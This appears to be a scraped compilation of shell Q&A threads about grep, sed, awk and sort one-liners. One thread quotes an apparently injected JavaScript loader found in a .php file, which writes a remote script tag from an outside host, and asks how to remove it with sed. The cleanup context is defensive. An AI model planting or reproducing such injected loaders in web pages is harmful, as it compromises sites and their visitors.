Append string on grep multiple results in a single command - text

I want to append a string on the every line from the grep result.
For example, this command will return several lines:
ls -a | grep "filename"
For example:
filename1
filename2
filename3
filename4
How can I append a string test on each return line using a single command? So that I get this output:
test filename1
test filename2
test filename3
test filename4

You can do this:
ls -a | grep "filename" | perl -ne 'print "test $_"'

An alternative is to use sed (which is specifically a Stream EDitor):
ls -a | grep "filename" | sed 's/^/test /'
or
ls -a *filename* | sed 's/^/test /'
or even
ls -a | sed '/filename/bx;d;:x;s/^/test /'

Related

grep a word from a list of file as a result of grep before

I have a command to grep a file with fullpath that contain a "TypeId: 0", here is the command
grep -rnw /home/username/app/data/store/0/part/.mv -e "TypeId: 0" | awk -F ":" '{print $1}'
and here is the result:
/home/username/app/data/store/0/part/.mv/521/1673332792072/segmentconfig.yaml /home/username/app/data/store/0/part/.mv/521/1673333077920/segmentconfig.yaml /home/username/app/data/store/0/part/.mv/521/1673333077920/segmentconfig.yaml.old /home/username/app/data/store/0/part/.mv/515/1672993850766/segmentconfig.yaml /home/username/app/data/store/0/part/.mv/515/1672993850766/segmentconfig.yaml.old /home/username/app/data/store/0/part/.mv/703/1672987004847/segmentconfig.yaml /home/username/app/data/store/0/part/.mv/703/1672987004847/segmentconfig.yaml.old
Now I confuse how to grep "numofvertice" from each file from that list.
Anyone have an idea to solve this?
You could try this:
grep -rnw /home/username/app/data/store/0/part/.mv -e "TypeId: 0" | awk -F ":" '{print $1}'|xargs -I{} grep "numofvertice" {}
Like this (GNU grep):
<STDIN> | grep -oP '\b\S+\.yaml' | xargs cat
Or with ack:
cd /home/username/app/data/store/0/part/.mv
ack -wl -e "TypeId: 0" | xargs cat
From ack --help:
-l, --files-with-matches
Only print filenames containing matches

replace a whole line in a file centos

I have a script in .php file which is the following :
var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}
I would like to replace in cmd line the whole line with (1) empty char. Is it possible? tried to do it with sed , but probably this is a too complex string.Tried to set the string in var , but didn't work either . Has anybody any idea?
This is actually something sed excels in. :)
sed -i '1s/.*/ /' your-file
Example:
$ cat test
one
two
three
$ sed '1s/.*/ /' < test
two
three
On my OS X i tested this script:
for strnum in $(grep -n "qwe" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i '.txt' $strnum's/.*/ /' test.txt; done
On CentOS should work this script:
for strnum in $(grep -n "qwe" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i $strnum's/.*/ /' test.txt; done
You should replace qwe with your pattern. It will replace all strings where pattern would be found to space.
To put right content in grep, it should be prepared. You should create file with required pattern and start command:
echo '"'$(cat your_file | sed -e 's|"|\\"|g')'"'
Result of this command should be replaced qwe(with quotes for sure).
You should get something like this:
for strnum in $(grep -n "var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+\"//\"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i $strnum's/.*/ /' test.txt; done

Replace string got from pipe in a file in command line

How can I use sed or tr or replace to replace the string I get from pipe like:
head -n 1 myfile | sed -i 's/'-'/leg/g' new.log
try this:
MY_PAT=$(head -n 1 myfile)
sed -i "s/$MY_PAT/leg/g" new.log
or
sed -i "s/$(head -n 1 myfile)/leg/g" new.log
if your myfile contains special characters, better give concrete example.
use the read shell builtin to get the first line from stdin.
#!/bin/bash
read TO_REPLACE
head -n 1 myfile | sed -i "s/$TO_REPLACE/leg/g" new.log

Linux: How can i grep text from string to string

How can I get text using grep command txt that seats between two strings?
for example:
<--string 1-->
the text i need
<--string 2-->
the "the text i need" between the two tags is dynamic, therefor i need a command that will output text from "<--string 1-->" to "<--string 2-->"
This might work for you:
grep -A2 "<--string 1-->" file | grep -v "<--string 1-->\|<--string 2-->"
or
grep -A1 "<--string 1-->" file | grep -v "<--string 1-->"
or in a single process:
sed '/<--string 1-->/,/<--string 2-->/!d;//d' file
or:
awk '/<--string 2-->/{p=0};p;/<--string 1-->/{p=1}' file
Supposing "the text I need" is just one line, you should check that both string1 and string2 appear (Alex's solution only checks one thing).
A better solution would be:
grep -A 2 "string 1" $file | tail -2 | grep -B 1 "string 2" | head -1
if you know that "the text i need" is always above or always below string 1 or string 2, you can use grep -A 1 "string 1" $file | tail -1 or grep -B 1 "string 2" $file | head -1
we need to know what is the line number for string1 and string2
we can use grep -n for that
then using head and tail we can get lines between string1 and string2
for example:
<--string 1-->
the text i need
<--string 2-->
start=$(cat file | grep -n <--string 1--> | grep -Eo [0-9]+)
finish=$cat file | grep -n <--string 2-->) | grep -Eo [0-9]+)
res=$((finish-start))
result=$(cat file | head -$start | tail -$res)
It is a little bit hacky, but it worked for me.
You can use Awk for this.
Inclusive:
awk '/<--string 1-->/,/<--string 2-->/' file
Excluding the string 1 and 2 lines:
awk '/<--string 1-->/{flag=1; next} /<--string 2-->/{flag=0} flag' file
Here, a flag is set when '<--string 1-->' is found in the line, and unset when '<--string 2-->' is found.
You can also keep either the first or second line using:
awk '/<--string 1-->/{flag=1} /<--string 2-->/{flag=0} flag' file
or
awk 'flag; /<--string 1-->/{flag=1} /<--string 2-->/{flag=0}' file
I hope this helps you.
DATA=$(cat /tmp/file)
STARTVAR=$(echo "$DATA" | grep -n '<--string 1-->' | grep -Eo [0-9]+)
ENDVAR=$(echo "$DATA" | grep -n '<--string 2-->' | grep -Eo [0-9]+)
CALC=$((($ENDVAR - $STARTVAR) - 1))
result=$(echo "$DATA" | grep -A $CALC '<--string 1-->')
echo "$result"
Replace the CALC=$((($ENDVAR - $STARTVAR) - 1)) line with CALC=$(($ENDVAR - $STARTVAR)) if you want to include '<--string 2-->' in output
grep word filename
Check grep on wiki.. http://en.wikipedia.org/wiki/Grep

Bash sort by regexp

I have something about 100 files with the following syntax
ahfsdjfhdfhj_EPI_34_fdsafasdf
asdfasdf_EPI_2_fdsf
hfdjh_EPI_8_dhfffffffffff
ffffffffffasdfsdf_EPI_1_fyyy44
...
There is always EPI_NUMBER. How can I sort it by this number?
From your example it appears that delimiter is _ and text EPI_nnn comes at the same position after delimiter _. If that is always the case then you can use following command to sort the file:
sort -n -t "_" -k 3 file.txt
UPDATE:
If position of EPI_ text is not fixed then use following shell command:
sed 's/^\(.*EPI_\)\(.*\)$/\2##\1/' file.txt | sort -n -t "_" -k1 | sed 's/^\(.*\)##\(.*\)$/\2\1/'
If Perl is okay you can:
print sort foo <>;
sub foo {
($x = $a) =~s/.*EPI_(\d+).*/$1/;
($y = $b) =~s/.*EPI_(\d+).*/$1/;
return $x <=> $y;
}
and use it as:
perl prg.pl inputfile
See it
sed -e 's/EPI_/EPI /' file1 file2 ...|sort -n -k 2 -t ' '
Pipe that to sed -e 's/ /_/' to get back the original form.
This might work for you:
ls | sed 's/.*EPI_\([0-9]*\)/\1 &/' | sort -n | sed 's/\S* //'

Resources